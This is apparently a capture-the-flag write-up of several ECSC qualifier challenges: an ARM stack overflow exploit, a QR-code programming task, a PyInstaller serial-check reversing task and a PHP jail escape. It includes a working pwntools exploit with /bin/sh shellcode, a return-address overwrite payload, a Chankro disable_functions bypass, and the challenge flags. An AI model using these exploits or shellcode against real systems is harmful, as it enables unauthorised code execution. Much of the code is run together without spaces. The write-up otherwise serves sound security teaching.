# file harmless
harmless: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=178af1dac64991bbb0c54613d9c12c39e1fc231f, not stripped
Using gdb-multiarch, we can retrieve the instructions with disas, but here for more simplicity I’ll output the decompiled code with IDA:
Look’s like we can overflow in every variable… You can notice that if we say “Y” to the “Are you a developper?” question, the program display variable addresses. So we will try to go in the branch.
Moreover, I manage to find the entry length that makes an error on the server:
# python -c "print 'a\n' + 'a\n' + 'Y\n' + 'a'*171 + '\n'" | qemu-arm ./harmless
Hello, and welcome to ECSC!
My name is Michel.
What's your name?
>> Nice to meet you a. How old are you?
>> Are you a developper? [Y/N]
>> This might be useful for you:
username: 0xfffef280
age: 0xfffef27c
dev: 0xfffef278
comment: 0xfffef1f8
Feel free to drop us a short comment about this CTF.
>> Thanks for your feedback!
Bye.
# python -c "print 'a\n' + 'a\n' + 'Y\n' + 'a'*172 + '\n'" | qemu-arm ./harmless
Hello, and welcome to ECSC!
My name is Michel.
What's your name?
>> Nice to meet you a. How old are you?
>> Are you a developper? [Y/N]
>> This might be useful for you:
username: 0xfffee580
age: 0xfffee57c
dev: 0xfffee578
comment: 0xfffee4f8
Feel free to drop us a short comment about this CTF.
>> Thanks for your feedback!
Bye.
qemu: uncaught target signal 4 (Illegal instruction) - core dumped
Illegal instruction
As you can see, it throws an error because we manage to write a \x00 in the return address.
Okay we have all we need.
First we are going to go in the developer branch. Then we put a shellcode on the v4 variable (the comment variable) and we have to overflow writing the address of v4 in the return address (&v4).
This is the commented code in python doing these steps:
frompwnimport*importstruct# Our Shellcode -> http://shell-storm.org/shellcode/files/shellcode-904.php# I tried another shellcode (31 bytes) but this one was not workingshellcode="\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"conn=remote('harmless.ecsc',4001)# Send username, age, and say that we are developerprintconn.recvuntil('>>',drop=True)+'>> a'conn.sendline('a')printconn.recvuntil('>> ',drop=True)+'>> a'conn.sendline('a')printconn.recvuntil('>> ',drop=True)+'>> Y'conn.sendline('Y')# Get the variables addressesres=conn.recvuntil('>> ',drop=True)+'>> 'printres# Get the address of the comment variable (&v4)val=int(res[res.find('comment: ')+9:res.find('comment: ')+9+10],16)# Create our payload to overflowpayload=shellcode+'a'*(172-len(shellcode))+struct.pack('<I',val)conn.sendline(payload)# Interactive modeconn.interactive()
And the output:
# python script.py[+] Opening connection to harmless.ecsc on port 4001: Done
Hello, and welcome to ECSC!
My name is Michel.
What's your name?
>> a
Nice to meet you a. How old are you?
>> a
Are you a developper? [Y/N]
>> Y
This might be useful for you:
username: 0xfffef250
age: 0xfffef24c
dev: 0xfffef248
comment: 0xfffef1c8
Feel free to drop us a short comment about this CTF.
>>
[*] Switching to interactive mode
Thanks for your feedback!
Bye.
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls
flag
harmless
run.sh
$ cat flag
lh_fc6edd667efb8ce882565f7dbfcd4dc1ea65d411eb6e7e0ba0ad3c156d0719fc
Yeah ! the flag is lh_fc6edd667efb8ce882565f7dbfcd4dc1ea65d411eb6e7e0ba0ad3c156d0719fc
The challenge is giving us a command to interact with the service: nc challenges.ecsc-teamfrance.fr 3001.
# nc challenges.ecsc-teamfrance.fr 3001
Programming challenge
---------------------
I will send you a PNG image compressed by zlib encoded in base64 that contains 64 encoded numbers.
The expected answer is the sum of all the numbers (in decimal).
You have 2 seconds.
Are you ready? [Y/N]
>>Y
eJztvQtUU2faNtyZjjqv1XbmTa2CojNj24wwajEihxD4Wlu11oIWdoBAoDVNIgFBDCFACLRa28Fy
[...]
5hsxrwtfe/fM/wRHoMqu
What is you answer?
>>
Time is up!
Okay, we have to make a sum, let’s see the base64:
There is 64 qrcodes and represent an encoded number.
So we have to retrieve the image, cut it in 64 squares decode each qrcode and sums them.
I found a cool lib on github and this is the python implementation to resolve the challenge:
from__future__importdivisionimportzlibfrompwnimport*importimage_slicerfrompyzbar.pyzbarimportdecodelibed=""res=0f=open('output','wb')r=remote('challenges.ecsc-teamfrance.fr',3001)r.recvuntil('>>')r.send('Y\n')while1:tmp=r.recvline().strip()if"What"intmp:breaklibed+=tmpstr_object2=zlib.decompress(libed.decode('base64'))f.write(str_object2)f.close()tiles=image_slicer.slice('output',64,save=False)# "Save=False" -> so it is not written to filesystem andd we save some timefortileintiles:data=decode(tile.image)res+=int(str(data)[15:25])r.send(str(res)+"\n")r.recvuntil('>>')while1:printr.recvline()
And the output:
# python script.py [+] Opening connection to challenges.ecsc-teamfrance.fr on port 3001: Done
Congrats! Here is your flag: ECSC{e076963c132ec49bce13d47ea864324326d4cefa}
Then the flag is ECSC{e076963c132ec49bce13d47ea864324326d4cefa}
# ls -l
total 1188
-rw-r--r-- 1 root root 1513 May 15 20:32 fake_check
-rw-r--r-- 1 root root 4171 May 15 20:32 pyiboot01_bootstrap
-rw-r--r-- 1 root root 1838 May 15 20:32 pyimod01_os_path
-rw-r--r-- 1 root root 9381 May 15 20:32 pyimod02_archive
-rw-r--r-- 1 root root 18701 May 15 20:32 pyimod03_importers
-rw-r--r-- 1 root root 1161295 May 15 20:32 PYZ-00.pyz
-rw-r--r-- 1 root root 357 May 15 20:32 struct
It is PYC file but the header is missing, I tried some tools but it didnt work well, then I found an online decompiler.
This is the fake_check.py file:
passwd=[432,360,264,184,56,344,340,268,280,172,64,300,320,356,356,296,328,504,356,276,-4,348,52,304,256,264,184,48,280,344,312,168,296,-4,128,256,264,184,40,296,340,52,280,80,504,300,296]p=[43,8,26,11,3,1,46,10,28,23,13,33,0,45,34,37,16,5,36,32,9,4,20,19,25,22,17,7,27,14,42,41,18,2,6,40,30,29,15,21,44,24,39,12,35,38,31]defcheck(serial):globalpglobalpasswdserialsize=len(serial)key='Complex is better than complicated'result=[]foriinrange(serialsize):result.append(((serial[p[i]]^key[(i%len(key))])<<2)-4)returnresult==passwddefsuccessful(serial):print('Good job!\nECSC}'.format(serial.decode('utf-8')))defdefeated():print('Not really')defmain():importpytectorserial=input('Serial number: ').encode('utf-8')ifcheck(serial):successful(serial)else:defeated()if__name__=='__main__':main()
I don’t know why but the script it XORing 2 char and it throws an error… I patched it adding the ord function, but I actually don’t know how it is working in…
Okay the check function is easy to bruteforce (and we can guess the flag length: 47):
importstringpasswd=[432,360,264,184,56,344,340,268,280,172,64,300,320,356,356,296,328,504,356,276,-4,348,52,304,256,264,184,48,280,344,312,168,296,-4,128,256,264,184,40,296,340,52,280,80,504,300,296]p=[43,8,26,11,3,1,46,10,28,23,13,33,0,45,34,37,16,5,36,32,9,4,20,19,25,22,17,7,27,14,42,41,18,2,6,40,30,29,15,21,44,24,39,12,35,38,31]defuncheck(serial,i):globalpglobalpasswdserialsize=len(serial)key='Complex is better than complicated'result=((ord(serial[p[i]])^ord(key[(i%len(key))]))<<2)-4returnresult==passwd[i]defbruteforce_check():globalpglobalpasswdresult="?"*47foriinrange(47):forjinstring.printable:tmp=list(result)tmp[p[i]]=jresult=''.join(tmp)ifuncheck(result,i):breakreturnresultif__name__=='__main__':serial=bruteforce_check()print(serial)
This is our output:
42dc6_ba4ad_f14g!_....._....._....._....._.....
Well it seems that this is not the correct flag.
Looking closely to the fake_check.py code, we forgot the import pytector line…
Okay let’s see the pytector.pyd (in the initial .zip).
This strings lead us to some code modifying the fake_check during its execution.
The passwd table is modified:
The p table is modified:
And the check function bytecodes is modified too:
It is possible to do it in static but I prefer the dynamic way.
You cannot modify the check function (for example add some print) because the pytector will detect it and won’t work.
I added the pdb module to debug the script:
passwd=[432,360,264,184,56,344,340,268,280,172,64,300,320,356,356,296,328,504,356,276,-4,348,52,304,256,264,184,48,280,344,312,168,296,-4,128,256,264,184,40,296,340,52,280,80,504,300,296]p=[43,8,26,11,3,1,46,10,28,23,13,33,0,45,34,37,16,5,36,32,9,4,20,19,25,22,17,7,27,14,42,41,18,2,6,40,30,29,15,21,44,24,39,12,35,38,31]defcheck(serial):globalpglobalpasswdserialsize=len(serial)key='Complex is better than complicated'result=[]foriinrange(serialsize):result.append(((serial[p[i]]^key[(i%len(key))])<<2)-4)returnresult==passwddefsuccessful(serial):print('Good job!\nECSC}'.format(serial.decode('utf-8')))defdefeated():print('Not really')defmain():importpytectorimportpdb;pdb.set_trace()serial="b"*47ifcheck(serial):successful(serial)else:defeated()if__name__=='__main__':main()
Okay we have the new code, we can finaly get the flag:
importstringp=[12,36,23,17,27,34,18,25,33,42,22,21,45,20,35,13,30,38,31,28,26,10,44,29,9,11,2,4,14,1,37,15,41,19,39,24,6,7,46,32,5,8,0,3,16,43,40]passwd=[1147,1778,1721,1929,1821,1680,2064,654,1822,1842,651,1602,1627,1952,1865,1629,1899,608,1951,1755,1610,1711,611,1689,1774,1721,1931,1823,1739,1582,1619,1954,1593,1693,1149,1772,1802,1932,1739,1680,2057,604,1824,1834,608,1598,1628]defuncheck(serial,i):globalpglobalpasswdserialsize=len(serial)key='Complex is better than complicated'result=(ord(serial[p[i]])^(ord(key[(i%len(key))])<<4))+42returnresult==passwd[i]defbruteforce_check():globalpglobalpasswdresult="?"*47foriinrange(47):forjinstring.printable:tmp=list(result)tmp[p[i]]=jresult=''.join(tmp)ifuncheck(result,i):breakreturnresultif__name__=='__main__':serial=bruteforce_check()print(serial)
description: Saurez-vous sortir de cette prison PHP pour retrouver le fichier flag présent sur le système ?
category: misc - 288
The challenge is giving us a command to interact with the service: nc challenges.ecsc-teamfrance.fr 4002.
# nc challenges.ecsc-teamfrance.fr 4002
/// PHP JAIL ////
There's a file named flag on this filesystem.
Find it.
Read it.
Flag it.
Enter your command:
Too slow!
Bye!
We can execute a php command and it will be executed. Let’s see the phpinfo (I deleted useless lines):
Then I modify the file so the payload is stored on 1 line (the line must end with an \n else the command won’t be executed) and we send it using nc:
# cat chan.php | nc challenges.ecsc-teamfrance.fr 4002
/// PHP JAIL ////
There's a file named flag on this filesystem.
Find it.
Read it.
Flag it.
Enter your command: /home/user0/.sensitive/randomdir/flag
/usr/local/lib/python2.7/dist-packages/pwnlib/flag
Bye!
Nice, all we have to do is to change rev.sh, regenerate the chan.php file and send it to the serveur:
# cat rev.sh#!/bin/shcat /home/user0/.sensitive/randomdir/flag
# python chankro.py --arch 64 --input rev.sh --output chan.php --path /tmp
-=[ Chankro ]=-
-={ @TheXC3LL }=-
[+] Binary file: rev.sh
[+] Architecture: x64
[+] Final PHP: chan.php
[+] File created!
// Modify chan.php so the payload is stored on 1 line and ending with '\n'# cat chan.php | nc challenges.ecsc-teamfrance.fr 4002
/// PHP JAIL ////
There's a file named flag on this filesystem.
Find it.
Read it.
Flag it.
Enter your command: ECSC{22b1843abfd76008ce3683e583c66e85c6bbdc65}
Bye!
The flag is ECSC{22b1843abfd76008ce3683e583c66e85c6bbdc65}